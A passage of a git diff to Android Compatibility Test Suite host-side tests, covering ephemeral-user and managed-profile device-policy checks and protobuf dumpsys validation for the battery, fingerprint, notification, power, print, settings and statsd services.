@@ -171,7 +172,7 @@
* before all other users are removed.
*/
public void testRemoveUsersOnSetForceEphemeralUsersWithUserSwitch() throws Exception {
- if (!mHasEphemeralUserFeature) {
+ if (!mHasForceEphemeralUserFeature) {
return;
}
@@ -206,7 +207,7 @@
/** The users created after setting force-ephemeral-users policy to true must be ephemeral. */
public void testCreateUserAfterSetForceEphemeralUsers() throws Exception {
- if (!mHasEphemeralUserFeature) {
+ if (!mHasForceEphemeralUserFeature) {
return;
}
@@ -221,7 +222,7 @@
* Test creating an epehemeral user using the DevicePolicyManager's createAndManageUser method.
*/
public void testCreateAndManageEphemeralUser() throws Exception {
- if (!mHasEphemeralUserFeature) {
+ if (!mHasFeature || !canCreateAdditionalUsers(1)) {
return;
}
@@ -236,17 +237,6 @@
assertEquals("Ephemeral flag must be set", FLAG_EPHEMERAL, flags & FLAG_EPHEMERAL);
}
- /**
- * Test that creating an epehemeral user using the DevicePolicyManager's createAndManageUser
- * method fails on systems without the split system user.
- */
- public void testCreateAndManageEphemeralUserFailsWithoutSplitSystemUser() throws Exception {
- if (mHasDisabledEphemeralUserFeature) {
- executeDeviceTestMethod(
- ".CreateAndManageUserTest", "testCreateAndManageEphemeralUserFails");
- }
- }
-
// Disabled due to b/29072728
// public void testCreateAndManageUser_SkipSetupWizard() throws Exception {
// if (mHasCreateAndManageUserFeature) {
@@ -276,6 +266,13 @@
}
}
+ public void testCreateAndManageUser_StartUserInBackground() throws Exception {
+ if (mHasFeature && canCreateAdditionalUsers(1)) {
+ executeDeviceTestMethod(".CreateAndManageUserTest",
+ "testCreateAndManageUser_StartUserInBackground");
+ }
+ }
+
public void testUserAddedOrRemovedBroadcasts() throws Exception {
if (mHasFeature && canCreateAdditionalUsers(1)) {
executeDeviceTestMethod(".CreateAndManageUserTest",
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
index df4a47c..84bdd7d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
@@ -17,7 +17,7 @@
package com.android.cts.devicepolicy;
/**
- * Tests for emphemeral users and profiles.
+ * Tests for ephemeral users and profiles.
*/
public class EphemeralUserTest extends BaseDevicePolicyTest {
@@ -35,7 +35,7 @@
/** The user should have the ephemeral flag set if it was created as ephemeral. */
public void testCreateEphemeralUser() throws Exception {
- if (!mHasFeature || !hasUserSplit()) {
+ if (!mHasFeature) {
return;
}
int userId = createUser(FLAG_EPHEMERAL);
@@ -59,7 +59,8 @@
*/
public void testProfileInheritsEphemeral() throws Exception {
if (!mHasFeature || !hasDeviceFeature("android.software.managed_users")
- || !hasUserSplit() || !canCreateAdditionalUsers(2)) {
+ || !canCreateAdditionalUsers(2)
+ || !hasUserSplit()) {
return;
}
int userId = createUser(FLAG_EPHEMERAL);
@@ -72,7 +73,7 @@
* Ephemeral user should be automatically removed after it is stopped.
*/
public void testRemoveEphemeralOnStop() throws Exception {
- if (!mHasFeature || !hasUserSplit()) {
+ if (!mHasFeature) {
return;
}
int userId = createUser(FLAG_EPHEMERAL);
@@ -87,7 +88,7 @@
* and not ephemeral when the feature is not set.
*/
public void testEphemeralGuestFeature() throws Exception {
- if (!mHasFeature || !hasUserSplit()) {
+ if (!mHasFeature) {
return;
}
// Create a guest user.
@@ -103,20 +104,6 @@
}
}
- /**
- * Test that creating an ephemeral user fails on systems without the split system user.
- */
- public void testCreateEphemeralWithoutUserSplitFails() throws Exception {
- if (!mHasFeature || hasUserSplit()) {
- return;
- }
- String command ="pm create-user --ephemeral " + "TestUser_" + System.currentTimeMillis();
- String commandOutput = getDevice().executeShellCommand(command);
-
- assertEquals("Creating the epehemeral user should fail.",
- "Error: couldn't create User.", commandOutput.trim());
- }
-
private boolean getGuestUsersEphemeral() throws Exception {
String commandOutput = getDevice().executeShellCommand("dumpsys user");
String[] outputLines = commandOutput.split("\n");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
index ef7099b..b71c4c87 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
@@ -15,8 +15,6 @@
*/
package com.android.cts.devicepolicy;
-import org.junit.Test;
-
/**
* This class tests the provisioning flow with an APK that declares a single receiver with
* BIND_DEVICE_ADMIN permissions, which was a requirement for the app sending the
@@ -54,7 +52,6 @@
super.tearDown();
}
- @Test
public void testEXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
index fa3627a..93a17e0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
@@ -111,6 +111,17 @@
"testAccountExist", mParentUserId);
}
+ public void testWebview() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ // We start an activity containing WebView in another process and run provisioning to
+ // test that the process is not killed.
+ startActivityAsUser(mParentUserId, MANAGED_PROFILE_PKG, ".WebViewActivity");
+ provisionManagedProfile();
+ }
+
private void provisionManagedProfile() throws Exception {
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
"testProvisionManagedProfile", mParentUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 157c59c..8f4f900 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -138,6 +138,29 @@
mProfileUserId);
}
+ public void testWipeDataWithReason() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ assertTrue(listUsers().contains(mProfileUserId));
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG,
+ ".WipeDataTest",
+ "testWipeDataWithReason",
+ mProfileUserId);
+ // Note: the managed profile is removed by this test, which will make removeUserCommand in
+ // tearDown() to complain, but that should be OK since its result is not asserted.
+ assertUserGetsRemoved(mProfileUserId);
+ // testWipeDataWithReason() removes the managed profile,
+ // so it needs to separated from other tests.
+ // Check the notification is presented after work profile got removed, so profile user no
+ // longer exists, verification should be run in primary user.
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG,
+ ".WipeDataWithReasonVerificationTest",
+ mParentUserId);
+ }
+
/**
* wipeData() test removes the managed profile, so it needs to separated from other tests.
*/
@@ -147,7 +170,8 @@
}
assertTrue(listUsers().contains(mProfileUserId));
runDeviceTestsAsUser(
- MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".WipeDataTest", mProfileUserId);
+ MANAGED_PROFILE_PKG, ".WipeDataTest",
+ "testWipeData", mProfileUserId);
// Note: the managed profile is removed by this test, which will make removeUserCommand in
// tearDown() to complain, but that should be OK since its result is not asserted.
assertUserGetsRemoved(mProfileUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java
new file mode 100644
index 0000000..cf02aef
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java
@@ -0,0 +1,8 @@
+//package com.android.cts.devicepolicy.crossprofile;
+//
+//import com.android.cts.devicepolicy.BaseDevicePolicyTest;
+//
+//public class CrossProfileAppsManagedProfileTest extends BaseDevicePolicyTest {
+//
+//
+//}
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 4d51330..6d341c8 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -723,7 +723,8 @@
for (int i = 0; i < TIMESTAMP_COUNT; i++) {
numparts[i] = assertInteger(parts[i]);
}
- if (numparts[0] != 0) {
+ // Flags = 1 just means the first frame of the window
+ if (numparts[0] != 0 && numparts[0] != 1) {
continue;
}
// assert VSYNC >= INTENDED_VSYNC
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
index 4b83b0a..28000e0 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
@@ -16,6 +16,7 @@
package com.android.server.cts;
+import android.os.BatteryManagerProto;
import android.service.battery.BatteryServiceDumpProto;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -37,10 +38,10 @@
return;
}
- assertTrue(
- dump.getPlugged()
- != BatteryServiceDumpProto.BatteryPlugged.BATTERY_PLUGGED_WIRELESS);
- assertTrue(dump.getChargeCounter() > 0);
+ assertTrue(dump.getPlugged() != BatteryManagerProto.PlugType.PLUG_TYPE_WIRELESS);
+ assertTrue(dump.getMaxChargingCurrent() >= 0);
+ assertTrue(dump.getMaxChargingVoltage() >= 0);
+ assertTrue(dump.getChargeCounter() >= 0);
assertTrue(
dump.getStatus() != BatteryServiceDumpProto.BatteryStatus.BATTERY_STATUS_INVALID);
assertTrue(
diff --git a/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java
index 9e32e1c..ed87f11 100644
--- a/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java
@@ -16,9 +16,9 @@
package com.android.server.cts;
-import android.service.fingerprint.FingerprintActionStatsProto;
-import android.service.fingerprint.FingerprintServiceDumpProto;
-import android.service.fingerprint.FingerprintUserStatsProto;
+import com.android.server.fingerprint.FingerprintServiceDumpProto;
+import com.android.server.fingerprint.FingerprintUserStatsProto;
+import com.android.server.fingerprint.PerformanceStatsProto;
import com.android.tradefed.log.LogUtil.CLog;
@@ -27,12 +27,7 @@
* Test to check that the fingerprint service properly outputs its dump state.
*/
public class FingerprintIncidentTest extends ProtoDumpTestCase {
- /**
- * Test that no fingerprints are registered.
- *
- * @throws Exception
- */
- public void testNoneRegistered() throws Exception {
+ public void testFingerprintServiceDump() throws Exception {
// If the device doesn't support fingerprints, then pass.
if (!getDevice().hasFeature("android.hardware.fingerprint")) {
CLog.d("Bypass as android.hardware.fingerprint is not supported.");
@@ -42,24 +37,28 @@
final FingerprintServiceDumpProto dump =
getDump(FingerprintServiceDumpProto.parser(), "dumpsys fingerprint --proto");
- // One of them
- assertEquals(1, dump.getUsersCount());
+ // There should be at least one user.
+ assertTrue(1 <= dump.getUsersCount());
- final FingerprintUserStatsProto userStats = dump.getUsers(0);
- assertEquals(0, userStats.getUserId());
- assertEquals(0, userStats.getNumFingerprints());
+ for (int i = 0; i < dump.getUsersCount(); ++i) {
+ final FingerprintUserStatsProto userStats = dump.getUsers(i);
+ assertTrue(0 <= userStats.getUserId());
+ assertTrue(0 <= userStats.getNumFingerprints());
- final FingerprintActionStatsProto normal = userStats.getNormal();
- assertEquals(0, normal.getAccept());
- assertEquals(0, normal.getReject());
- assertEquals(0, normal.getAcquire());
- assertEquals(0, normal.getLockout());
+ final PerformanceStatsProto normal = userStats.getNormal();
+ assertTrue(0 <= normal.getAccept());
+ assertTrue(0 <= normal.getReject());
+ assertTrue(0 <= normal.getAcquire());
+ assertTrue(0 <= normal.getLockout());
+ assertTrue(0 <= normal.getPermanentLockout());
- final FingerprintActionStatsProto crypto = userStats.getCrypto();
- assertEquals(0, crypto.getAccept());
- assertEquals(0, crypto.getReject());
- assertEquals(0, crypto.getAcquire());
- assertEquals(0, crypto.getLockout());
+ final PerformanceStatsProto crypto = userStats.getCrypto();
+ assertTrue(0 <= crypto.getAccept());
+ assertTrue(0 <= crypto.getReject());
+ assertTrue(0 <= crypto.getAcquire());
+ assertTrue(0 <= crypto.getLockout());
+ assertTrue(0 <= crypto.getPermanentLockout());
+ }
}
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
new file mode 100644
index 0000000..a96be46
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.service.notification.NotificationRecordProto;
+import android.service.notification.NotificationServiceDumpProto;
+import android.service.notification.NotificationRecordProto.State;
+import android.service.notification.RankingHelperProto;
+import android.service.notification.RankingHelperProto.RecordProto;
+import android.service.notification.ZenModeProto;
+import android.service.notification.ZenModeProto.ZenMode;
+
+/**
+ * Test to check that the notification service properly outputs its dump state.
+ *
+ * make -j32 CtsIncidentHostTestCases
+ * cts-tradefed run singleCommand cts-dev -d --module CtsIncidentHostTestCases
+ */
+public class NotificationIncidentTest extends ProtoDumpTestCase {
+ // Constants from android.app.NotificationManager
+ private static final int IMPORTANCE_UNSPECIFIED = -1000;
+ private static final int IMPORTANCE_NONE = 0;
+ private static final int IMPORTANCE_MAX = 5;
+ private static final int VISIBILITY_NO_OVERRIDE = -1000;
+ // Constants from android.app.Notification
+ private static final int PRIORITY_MIN = -2;
+ private static final int PRIORITY_MAX = 2;
+ private static final int VISIBILITY_SECRET = -1;
+ private static final int VISIBILITY_PUBLIC = 1;
+ // These constants are those in PackageManager.
+ public static final String FEATURE_WATCH = "android.hardware.type.watch";
+
+ /**
+ * Tests that at least one notification is posted, and verify its properties are plausible.
+ */
+ public void testNotificationRecords() throws Exception {
+ final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
+ "dumpsys notification --proto");
+
+ assertTrue(dump.getRecordsCount() > 0);
+ boolean found = false;
+ for (NotificationRecordProto record : dump.getRecordsList()) {
+ if (record.getKey().contains("android")) {
+ found = true;
+ assertEquals(State.POSTED, record.getState());
+ assertTrue(record.getImportance() > IMPORTANCE_NONE);
+
+ // Ensure these fields exist, at least
+ record.getFlags();
+ record.getChannelId();
+ record.getSound();
+ record.getSoundUsage();
+ record.getCanVibrate();
+ record.getCanShowLight();
+ record.getGroupKey();
+ }
+ assertTrue(State.SNOOZED != record.getState());
+ }
+
+ assertTrue(found);
+ }
+
+ /** Test valid values from the RankingHelper. */
+ public void testRankingConfig() throws Exception {
+ final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
+ "dumpsys notification --proto");
+
+ RankingHelperProto rhProto = dump.getRankingConfig();
+ for (RecordProto rp : rhProto.getRecordsList()) {
+ verifyRecordProto(rp);
+ }
+ for (RecordProto rp : rhProto.getRecordsRestoredWithoutUidList()) {
+ verifyRecordProto(rp);
+ }
+ }
+
+ private void verifyRecordProto(RecordProto rp) throws Exception {
+ assertTrue(!rp.getPackage().isEmpty());
+ assertTrue(rp.getUid() == -10000 || rp.getUid() >= 0);
+ assertTrue(rp.getImportance() == IMPORTANCE_UNSPECIFIED ||
+ (rp.getImportance() >= IMPORTANCE_NONE && rp.getImportance() <= IMPORTANCE_MAX));
+ assertTrue(rp.getPriority() >= PRIORITY_MIN && rp.getPriority() <= PRIORITY_MAX);
+ assertTrue(rp.getVisibility() == VISIBILITY_NO_OVERRIDE ||
+ (rp.getVisibility() >= VISIBILITY_SECRET &&
+ rp.getVisibility() <= VISIBILITY_PUBLIC));
+ }
+
+ // Tests default state: zen mode off, no suppressors
+ public void testZenMode() throws Exception {
+ final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
+ "dumpsys notification --proto");
+ ZenModeProto zenProto = dump.getZen();
+
+ assertEquals(ZenMode.ZEN_MODE_OFF, zenProto.getZenMode());
+ assertEquals(0, zenProto.getEnabledActiveConditionsCount());
+
+ // b/64606626 Watches intentionally suppress notifications always
+ if (!getDevice().hasFeature(FEATURE_WATCH)) {
+ assertEquals(0, zenProto.getSuppressedEffects());
+ assertEquals(0, zenProto.getSuppressorsCount());
+ }
+
+ zenProto.getPolicy();
+ }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java b/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java
deleted file mode 100644
index f91c8a7..0000000
--- a/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts;
-
-import android.service.notification.NotificationRecordProto;
-import android.service.notification.NotificationServiceDumpProto;
-import android.service.notification.State;
-import android.service.notification.ZenMode;
-import android.service.notification.ZenModeProto;
-
-/**
- * Test to check that the notification service properly outputs its dump state.
- *
- * make -j32 CtsIncidentHostTestCases
- * cts-tradefed run singleCommand cts-dev -d --module CtsIncidentHostTestCases
- */
-public class NotificationTest extends ProtoDumpTestCase {
- // These constants are those in PackageManager.
- public static final String FEATURE_WATCH = "android.hardware.type.watch";
-
- /**
- * Tests that at least one notification is posted, and verify its properties are plausible.
- */
- public void testNotificationRecords() throws Exception {
- final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
- "dumpsys notification --proto");
-
- assertTrue(dump.getRecordsCount() > 0);
- boolean found = false;
- for (NotificationRecordProto record : dump.getRecordsList()) {
- if (record.getKey().contains("android")) {
- found = true;
- assertEquals(State.POSTED, record.getState());
- assertTrue(record.getImportance() > 0 /* NotificationManager.IMPORTANCE_NONE */);
-
- // Ensure these fields exist, at least
- record.getFlags();
- record.getChannelId();
- record.getSound();
- record.getSoundUsage();
- record.getCanVibrate();
- record.getCanShowLight();
- record.getGroupKey();
- }
- assertTrue(State.SNOOZED != record.getState());
- }
-
- assertTrue(found);
- }
-
- // Tests default state: zen mode off, no suppressors
- public void testZenMode() throws Exception {
- final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
- "dumpsys notification --proto");
- ZenModeProto zenProto = dump.getZen();
-
- assertEquals(ZenMode.ZEN_MODE_OFF, zenProto.getZenMode());
- assertEquals(0, zenProto.getEnabledActiveConditionsCount());
-
- // b/64606626 Watches intentionally suppress notifications always
- if (!getDevice().hasFeature(FEATURE_WATCH)) {
- assertEquals(0, zenProto.getSuppressedEffects());
- assertEquals(0, zenProto.getSuppressorsCount());
- }
-
- zenProto.getPolicy();
- }
-}
diff --git a/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java
index 77c0163..f2d8c84f 100644
--- a/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java
@@ -16,28 +16,33 @@
package com.android.server.cts;
+import android.app.ActivityManagerProto;
+import android.content.IntentProto;
+import android.os.BatteryManagerProto;
import android.os.LooperProto;
-import android.service.power.PowerServiceDumpProto;
-import android.service.power.PowerServiceSettingsAndConfigurationDumpProto;
+import android.os.PowerManagerInternalProto;
+import android.os.PowerManagerProto;
+import com.android.server.power.PowerManagerServiceDumpProto;
+import com.android.server.power.PowerServiceSettingsAndConfigurationDumpProto;
/** Test to check that the power manager properly outputs its dump state. */
public class PowerIncidentTest extends ProtoDumpTestCase {
private static final int SYSTEM_UID = 1000;
public void testPowerServiceDump() throws Exception {
- final PowerServiceDumpProto dump =
- getDump(PowerServiceDumpProto.parser(), "dumpsys power --proto");
+ final PowerManagerServiceDumpProto dump =
+ getDump(PowerManagerServiceDumpProto.parser(), "dumpsys power --proto");
assertTrue(
- PowerServiceDumpProto.Wakefulness.getDescriptor()
+ PowerManagerInternalProto.Wakefulness.getDescriptor()
.getValues()
.contains(dump.getWakefulness().getValueDescriptor()));
assertTrue(
- PowerServiceDumpProto.PlugType.getDescriptor()
+ BatteryManagerProto.PlugType.getDescriptor()
.getValues()
.contains(dump.getPlugType().getValueDescriptor()));
assertTrue(
- PowerServiceDumpProto.DockState.getDescriptor()
+ IntentProto.DockState.getDescriptor()
.getValues()
.contains(dump.getDockState().getValueDescriptor()));
@@ -47,20 +52,24 @@
assertTrue(settingsAndConfiguration.getMaximumScreenDimDurationConfigMs() >= 0);
assertTrue(settingsAndConfiguration.getMaximumScreenDimRatioConfig() > 0);
assertTrue(settingsAndConfiguration.getScreenOffTimeoutSettingMs() > 0);
+ // Default value is -1.
+ assertTrue(settingsAndConfiguration.getSleepTimeoutSettingMs() >= -1);
assertTrue(settingsAndConfiguration.getMaximumScreenOffTimeoutFromDeviceAdminMs() > 0);
+ // -1 is used to disable, so is valid.
+ assertTrue(settingsAndConfiguration.getUserActivityTimeoutOverrideFromWindowManagerMs() >= -1);
final PowerServiceSettingsAndConfigurationDumpProto.ScreenBrightnessSettingLimitsProto
brightnessLimits = settingsAndConfiguration.getScreenBrightnessSettingLimits();
assertTrue(brightnessLimits.getSettingMaximum() > 0);
assertTrue(brightnessLimits.getSettingDefault() > 0);
assertTrue(brightnessLimits.getSettingForVrDefault() > 0);
- final PowerServiceDumpProto.UidProto uid = dump.getUids(0);
+ final PowerManagerServiceDumpProto.UidStateProto uid = dump.getUidStates(0);
assertEquals(uid.getUid(), SYSTEM_UID);
assertEquals(uid.getUidString(), Integer.toString(SYSTEM_UID));
assertTrue(uid.getIsActive());
assertFalse(uid.getIsProcessStateUnknown());
assertTrue(
- PowerServiceDumpProto.UidProto.ProcessState.getDescriptor()
+ ActivityManagerProto.ProcessState.getDescriptor()
.getValues()
.contains(uid.getProcessState().getValueDescriptor()));
@@ -70,5 +79,20 @@
assertTrue(looper.getIdentityHashCode() > 0);
assertTrue(dump.getSuspendBlockersCount() > 0);
+
+ // Check that times/durations are not incorrectly negative.
+ assertTrue(dump.getNotifyLongScheduledMs() >= 0);
+ assertTrue(dump.getNotifyLongDispatchedMs() >= 0);
+ assertTrue(dump.getNotifyLongNextCheckMs() >= 0);
+ assertTrue(dump.getLastWakeTimeMs() >= 0);
+ assertTrue(dump.getLastSleepTimeMs() >= 0);
+ assertTrue(dump.getLastUserActivityTimeMs() >= 0);
+ assertTrue(dump.getLastUserActivityTimeNoChangeLightsMs() >= 0);
+ assertTrue(dump.getLastInteractivePowerHintTimeMs() >= 0);
+ assertTrue(dump.getLastScreenBrightnessBoostTimeMs() >= 0);
+ // -1 is a valid value.
+ assertTrue(dump.getSleepTimeoutMs() >= -1);
+ assertTrue(dump.getScreenOffTimeoutMs() >= 0);
+ assertTrue(dump.getScreenDimDurationMs() >= 0);
}
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/PrintProtoTest.java b/hostsidetests/incident/src/com/android/server/cts/PrintProtoTest.java
new file mode 100644
index 0000000..24f3d2a
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/PrintProtoTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.service.print.PrintServiceDumpProto;
+import android.service.print.PrintSpoolerStateProto;
+import android.service.print.PrintUserStateProto;
+
+import com.android.tradefed.log.LogUtil;
+
+/**
+ * Test proto dump of print
+ */
+public class PrintProtoTest extends ProtoDumpTestCase {
+ /**
+ * Test that print dump is reasonable
+ *
+ * @throws Exception
+ */
+ public void testDump() throws Exception {
+ // If the device doesn't support printing, then pass.
+ if (!getDevice().hasFeature("android.software.print")) {
+ LogUtil.CLog.d("Bypass as android.software.print is not supported.");
+ return;
+ }
+
+ PrintServiceDumpProto dump = getDump(PrintServiceDumpProto.parser(),
+ "dumpsys print --proto");
+
+ assertTrue(dump.getUserStatesCount() > 0);
+
+ PrintUserStateProto userState = dump.getUserStatesList().get(0);
+ assertEquals(0, userState.getUserId());
+ }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
index 7ea00e1..d9ee469 100644
--- a/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
@@ -58,7 +58,7 @@
private void verifySettings(GeneratedMessage settings) throws Exception {
verifySettings(getSettingProtos(settings));
- final List<SettingsOperationProto> ops = invoke(settings, "getHistoricalOpList");
+ final List<SettingsOperationProto> ops = invoke(settings, "getHistoricalOperationsList");
for (SettingsOperationProto op : ops) {
assertTrue(op.getTimestamp() >= 0);
assertNotNull(op.getOperation());
diff --git a/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java
new file mode 100644
index 0000000..1745ea1
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java
@@ -0,0 +1,590 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts;
+
+import com.android.ddmlib.IShellOutputReceiver;
+import com.android.tradefed.log.LogUtil;
+
+import com.google.common.base.Charsets;
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Random;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.internal.os.StatsdConfigProto.Alert;
+import com.android.internal.os.StatsdConfigProto.Bucket;
+import com.android.internal.os.StatsdConfigProto.CountMetric;
+import com.android.internal.os.StatsdConfigProto.Condition;
+import com.android.internal.os.StatsdConfigProto.DurationMetric;
+import com.android.internal.os.StatsdConfigProto.EventMetric;
+import com.android.internal.os.StatsdConfigProto.GaugeMetric;
+import com.android.internal.os.StatsdConfigProto.KeyMatcher;
+import com.android.internal.os.StatsdConfigProto.KeyValueMatcher;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimpleCondition;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.ScreenStateChanged;
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+
+/**
+ * Test for statsd
+ *
+ * Validates reporting of statsd logging based on different events
+ */
+public class StatsdValidationTest extends ProtoDumpTestCase {
+
+ private static final String TAG = "StatsdValidationTest";
+
+ private static final boolean TESTS_ENABLED = false;
+
+ // TODO: Use a statsd-specific app (temporarily just borrowing the batterystats app)
+ private static final String DEVICE_SIDE_TEST_APK = "CtsStatsDApp.apk";
+ private static final String DEVICE_SIDE_TEST_PACKAGE
+ = "com.android.server.cts.device.statsd";
+ private static final String DEVICE_SIDE_SIMPLE_ACTIVITY_COMPONENT
+ = "com.android.server.cts.device.statsd/.SimpleActivity";
+ private static final String DEVICE_SIDE_FG_ACTIVITY_COMPONENT
+ = "com.android.server.cts.device.statsd/.ForegroundActivity";
+ private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT
+ = "com.android.server.cts.device.statsd/.BackgroundActivity";
+
+ // These constants are those in PackageManager.
